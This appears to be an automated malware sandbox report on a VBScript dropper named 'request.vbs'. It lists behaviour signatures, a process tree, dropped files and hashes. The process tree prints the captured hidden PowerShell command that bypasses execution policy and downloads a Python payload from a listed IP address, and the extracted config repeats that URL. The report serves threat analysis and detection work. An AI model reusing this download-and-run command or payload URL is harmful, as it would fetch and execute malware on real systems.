Overview

overview

10

Static

static

1

request.vbs

windows10-2004-x64

10

request.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/07/2026, 12:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    request.vbs
  • Size 4KB
  • Sample260722-pflmtsef52
  • SHA256 71fbffcbab0e585ae33ff277a076366955661e39fee25b62c9f59392263025b3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecutionpersistence

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://159.65.201.180/hGkBCsBr/Full%20AES.pyw

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 32 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\request.vbs"
    1⤵
    • Badlisted process makes network request
    • Downloads MZ/PE file
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Users\Admin\AppData\Local\Temp\pysetup.exe
      "C:\Users\Admin\AppData\Local\Temp\pysetup.exe" /quiet InstallAllUsers=0 TargetDir="C:\Users\Admin\AppData\Local\Programs\Python\Python312" PrependPath=1 Include_test=0
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\Temp\{EFCA89D1-5E5F-41F0-AA0D-5D23B8232BBF}\.cr\pysetup.exe
        "C:\Windows\Temp\{EFCA89D1-5E5F-41F0-AA0D-5D23B8232BBF}\.cr\pysetup.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\pysetup.exe" -burn.filehandle.attached=552 -burn.filehandle.self=524 /quiet InstallAllUsers=0 TargetDir="C:\Users\Admin\AppData\Local\Programs\Python\Python312" PrependPath=1 Include_test=0
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        PID:668
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 1196
          4⤵
          • Program crash
          PID:3364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EP Bypass -W Hidden -C "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;(New-Object Net.WebClient).DownloadFile('http://159.65.201.180/hGkBCsBr/Full%20AES.pyw','C:\Users\Admin\AppData\Local\Temp\rad5F1.pyw')"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4192
    • C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
      "C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe" "C:\Users\Admin\AppData\Local\Temp\rad5F1.pyw"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2832
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1564
  • C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe
    "C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe" /burn.runonce
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4468
    • C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe
      "C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.2 (64-bit)_20260722131630.log" InstallAllUsers=0 TargetDir=C:\Users\Admin\AppData\Local\Programs\Python\Python312 PrependPath=1 Include_test=0
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe
        "C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\python-3.12.2-amd64.exe" -burn.filehandle.attached=520 -burn.filehandle.self=540 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.2 (64-bit)_20260722131630.log" InstallAllUsers=0 TargetDir=C:\Users\Admin\AppData\Local\Programs\Python\Python312 PrependPath=1 Include_test=0
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4024
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 960
          4⤵
          • Program crash
          PID:772
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 668 -ip 668
    1⤵
      PID:1188
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4024 -ip 4024
      1⤵
        PID:1016

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e5882ea.rbs
            • Path C:\Config.Msi\e5882ea.rbs
            • Size 8KB
            • SHA256 5844da99a19d907a9816aafc2f4c32f026f2f66696dd7bcd2bddafba3b341de9
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            e5882ef.rbs
            • Path C:\Config.Msi\e5882ef.rbs
            • Size 12KB
            • SHA256 19bd7f5ebff439cbf7607e30d2f02ac387567c7021a1877d2456b9fc56350047
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            doc_JustForMe
            • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\doc_JustForMe
            • Size 5.4MB
            • SHA256 02cc5a3a1d6c54390d68ee97f6c08c2a061a457780e48919c29462ef95a92b09
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            lib_JustForMe
            • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\lib_JustForMe
            • Size 7.3MB
            • SHA256 af7b6e1b27c6ee7a2e40b947fda039ad26827ac12ed4d0ffa80a6576f5b5fb8b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            tcltk_JustForMe
            • Path C:\Users\Admin\AppData\Local\Package Cache\.unverified\tcltk_JustForMe
            • Size 3.4MB
            • SHA256 f0d5c603ff7d87412f5a1e45e8ab7bd95d6f40bb90fd107125964421d7f06233
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            exe.msi
            • Path C:\Users\Admin\AppData\Local\Package Cache\{097D2A37-E94B-4FAD-8C89-D63443BD4D4A}v3.12.2150.0\exe.msi
            • Size 712KB
            • SHA256 91f05b779c2bbeb7a371c2ca24f600d8c21664ad8d2bc464e5565bb90e9405d2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            launcher.msi
            • Path C:\Users\Admin\AppData\Local\Package Cache\{3B36061E-A25F-4E12-BFD1-68E724723D48}v3.12.2150.0\launcher.msi
            • Size 540KB
            • SHA256 6601eff4c1be13cf21106cdd8f041f96e4f1648aa683c73c53dad157ff12676e
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            core.msi
            • Path C:\Users\Admin\AppData\Local\Package Cache\{4534F2ED-1616-434D-98A6-0DA358DCD466}v3.12.2150.0\core.msi
            • Size 2.0MB
            • SHA256 e747ceb205400dcdd45cbedc372f9c3cacdd158277e4d27ae1b95d223e323918
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            path.msi
            • Path C:\Users\Admin\AppData\Local\Package Cache\{D552469C-E810-468F-A139-1EA43D0E2BE0}v3.12.2150.0\path.msi
            • Size 48KB
            • SHA256 ec15dd792ca665ffbe9107883a4ff4ba11d4fcfc0ac87c0a41b401f6d77c3d6d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            dev.msi
            • Path C:\Users\Admin\AppData\Local\Package Cache\{F131E2DD-B8C5-42F3-85B7-3D4BAC9582CD}v3.12.2150.0\dev.msi
            • Size 384KB
            • SHA256 633283cfcc5e870c6ce19404267a5e0509625b6b106d0c68e7133557d5c1bcb6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            state.rsm
            • Path C:\Users\Admin\AppData\Local\Package Cache\{b6178a40-1665-4565-b73e-48dd6e039a65}\state.rsm
            • Size 1KB
            • SHA256 bfa46f6d4943f769b4adf198f32d19d8d5fbae44b95b65b52f0f2bc489922c21
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            VCRUNTIME140.dll
            • Path C:\Users\Admin\AppData\Local\Programs\Python\Python312\VCRUNTIME140.dll
            • Size 116KB
            • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python.exe
            • Path C:\Users\Admin\AppData\Local\Programs\Python\Python312\python.exe
            • Size 100KB
            • SHA256 624bbc0586d8855633b875e911883bbef8a0e8b8711e11126df480dd86f54181
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python312.dll
            • Path C:\Users\Admin\AppData\Local\Programs\Python\Python312\python312.dll
            • Size 6.7MB
            • SHA256 789a42ac160cef98f8925cb347473eeeb4e70f5513242e7faba5139ba06edf2d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Python 3.12.2 (64-bit)_20260722131630.log
            • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.2 (64-bit)_20260722131630.log
            • Size 64KB
            • SHA256 9e80af4983434b6d3e07e5d04395d23743a6552e751cb2381d034a53b64f0311
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Python 3.12.2 (64-bit)_20260722131630_000_core_JustForMe.log
            • Path C:\Users\Admin\AppData\Local\Temp\Python 3.12.2 (64-bit)_20260722131630_000_core_JustForMe.log
            • Size 3KB
            • SHA256 2e83c1a7ddc7cfe9b8f8c033fdf26292d708828202edd8e9ab623d1d6069f4a5
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_lvqymooq.zvq.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lvqymooq.zvq.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            pysetup.exe
            • Path C:\Users\Admin\AppData\Local\Temp\pysetup.exe
            • Size 25.4MB
            • SHA256 b9314802f9efbf0f20a8e2cb4cacc4d5cfb0110dac2818d94e770e1ba5137c65
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            PythonBA.dll
            • Path C:\Windows\Temp\{13661E5D-2573-4BC7-A2B4-329B18C80617}\.ba\PythonBA.dll
            • Size 675KB
            • SHA256 565f03893da383e5bec8c6eaa7c8fbb3e6db0b9bddd5a1399b0dec66fa44d64d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            SideBar.png
            • Path C:\Windows\Temp\{13661E5D-2573-4BC7-A2B4-329B18C80617}\.ba\SideBar.png
            • Size 50KB
            • SHA256 79434bd1368f47f08acf6db66638531d386bf15166d78d9bfea4da164c079067
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pip_JustForMe
            • Path C:\Windows\Temp\{13661E5D-2573-4BC7-A2B4-329B18C80617}\pip_JustForMe
            • Size 268KB
            • SHA256 cfe1f73cd965e2cf1bcb94143fd87b7a6cb0d315977cab1da3002f5029948b98
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pysetup.exe
            • Path C:\Windows\Temp\{EFCA89D1-5E5F-41F0-AA0D-5D23B8232BBF}\.cr\pysetup.exe
            • Size 858KB
            • SHA256 1474dbd6a33da8f2f0b50007ba48f0c1ddb3e0e6f8c969722eed1e683a9af68a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            memory/4192-402-0x000001D46BA10000-0x000001D46BA32000-memory.dmp
            Download